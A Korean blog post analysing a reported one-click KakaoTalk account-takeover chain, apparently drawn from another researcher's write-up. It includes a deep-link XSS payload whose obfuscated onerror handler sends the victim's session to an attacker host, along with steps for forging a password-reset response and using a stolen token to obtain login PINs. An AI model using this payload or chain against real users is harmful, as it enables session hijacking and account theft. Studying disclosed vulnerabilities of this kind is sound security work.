NOTEhttps://stulle123.github.io/posts/kakaotalk-account-takeover/
stulle123님의 블로그를 기반으로 합니다.
카카오 버그바운티에 자주 참여하는 사람으로써 해당 취약점 분석을 안해볼 수 없었습니다.
stulle123
님의 블로그와 관련 자료를 기반으로 하여, 구버전 카톡을 분석하였습니다
공격자는 해당 취약점을 이용해 원클릭으로 상대의 카카오톡 세션을 탈취할 수 있었습니다.
공격루틴은 아래와 같습니다
1. XSS를 통한 access token 탈취
kakaotalk://buy/auth/0/cleanFrontRedirect?returnUrl=https://m.shoppinghow.kakao.com/m/product/Q24620753380/q:"><img src=x onerror="document.location=atob('aHR0cDovLzE5Mi4xNjguMTc4LjIwOjU1NTUv');">
카카오톡 Android 앱의 CommerceBuyActivity
는 딥링크를 통해 외부 웹페이지를 WebView로 로드합니다.
공격자는 이를 이용해 위와 같은 XSS 페이로드를 작성했습니다.
CommerceBuyActivity
에서 kakaotalk://buy/hello
는 https://buy.kakao.com/hello
와 같이 해석되어 URL을 로드합니다.
이 상태에서는 buy.kakao.com에서 xss를 터트리는 것 외에는 방법이 없어보입니다.
따라서 분석자는 https://buy.kakao.com/auth/0/cleanFrontRedirect?returnUrl=
에서 Open Redirect 취약점을 찾아 다른 xss 포인트로 옮기는 방법을 사용했습니다.
shoppinghow.kakao.com
에서 DOM기반 XSS 취약점이 터져 해당 포인트에서 익스플로잇 했습니다.
2. 카카오 메일 계정 탈취
서버로 요청된 Authorization
헤더에서 카카오 계정 access token이 노출됩니다
카카오 계정 토큰을 가지고 카카오 메일의 토큰을 만들었고 카카오 메일 계정을 탈취했습니다
- 비밀번호 재설정을 요청합니다
/kakao_accounts/check_verify_type_for_find_password.json
패킷을 위조해 재설정 인증번호를 카카오 메일로 받습니다
{
"status": 0,
"verify_types": [
0
],
"suspended": false,
"dormant": false,
"kakaotalk": false,
"expired": false,
"created_at": 1700754321,
"two_step_verification": false,
"is_fill_in_email": false,
"account_type": 0,
"display_id": null
}
verify_types
을 변경해 확인코드가 폰 대신 이메일로 전송되게 만들었다고 합니다
이를 통해 탈취한 이메일로 인증번호를 받아 비밀번호를 변경했습니다
3. 카카오톡 계정 탈취
카카오톡 로그인에는 4자리 핀코드를 입력하는 2차 인증이 기본적으로 설정 되어 있습니다.
https://talk-pilsner.kakao.com/talk-public/account/passcodeLogin/authorize https://katalk.kakao.com/win32/account/register_device.json
각각 모바일, PC에서의 인증번호를 받는 HTTP API 입니다.
탈취한 access_token을 사용해 PIN 번호를 임의로 가져올 수 있었습니다.
이로써 공격자는 완전히 피해자의 카카오톡 계정을 탈취했습니다.